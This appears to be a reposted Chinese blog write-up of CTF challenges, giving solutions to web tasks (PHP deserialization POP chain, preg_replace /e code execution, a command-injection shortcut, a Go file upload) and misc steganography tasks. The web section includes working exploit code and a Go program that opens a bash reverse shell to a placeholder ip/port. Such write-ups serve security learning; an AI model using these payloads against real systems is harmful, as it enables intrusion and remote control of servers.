前言

早写好了,忘发了,题目质量还行,够我坐大牢

ezpop

简单的反序列化,exp如下

<?php
class night
{
    public $night;
}

class day
{
    public $day;

}
class light
{
    public $light;
}class dark
{
    public $dark;
}
$n = new night;
$d1 = new day;
$d2 = new day;
$l = new light;
$d = new dark;
$d3 = new dark;
$n->night = $d1;
$d1->day = $d;
$d->dark = $l;
$l->light = $d2;
$d2->day = $d3;
$d3->dark = 'php://filter/read=convert.base64-encode/resource=/flag';
echo serialize($n);
?>

传参这有个坑,用了Unicode编码,得copy下来进行url编码才能传参,不知道这么干有什么意义,还得绕过Exception,把变量数改一下就能绕过了,跟绕wakeup一样

ezrce

preg_replace采用了/e的模式,很明显有rce漏洞,简单的测试了一下,不能用数字等等,这waf有点牛逼,采用无参rce直接读flag就行了,name得含有hahaha

unserialize

非预期,?a=system ('cat /flag');就能读flag

test

查看页面源代码,发现/profile/index这个路由,访问一下返回一个result,啥也没有,仿问/profile/admin,返回了密码,MD5解密一下asdfgh123admin登录进去,提示上传个go文件,就会运行,构造一个上传数据包,go文件如下:

package main

import (
  "fmt"
  "log"
  "os/exec"
)

func main() {
  cmd := exec.Command("/bin/bash", "-c", "bash -i &> /dev/tcp/ip/port 0>&1")
  out, err := cmd.CombinedOutput()
  if err != nil {
    fmt.Printf("combined out:n%sn", string(out))
    log.Fatalf("cmd.Run() failed with %sn", err)
  }
  fmt.Printf("combined out:n%sn", string(out))
}

反弹shell,拿到flag

Misc

管道

zsteg -a 管道.png | grep "flag"

可是雪啊飘进双眼

第一步hint.wav,藏了摩斯密码,解密出来是WOAISHANXI ,snow.txt,snow解密,snow.exe -p WOAISHANXI -C snow.txt ,拿到密码shanxiroujiamo,解开压缩包,两张图片,key.jpg与hide.jpg, binwalk -e key.jpg 提取出一个压缩包,里面有张图片,跟key.jpg的密文相对应,一一对照拿到密码BC1PVEYD, steghide解hide.jpg即可拿到flag

内容来源于网络如有侵权请私信删除

文章来源: 博客园

原文链接: https://www.cnblogs.com/F12-blog/p/17457245.html

你还没有登录,请先登录注册
  • 还没有人评论,欢迎说说您的想法!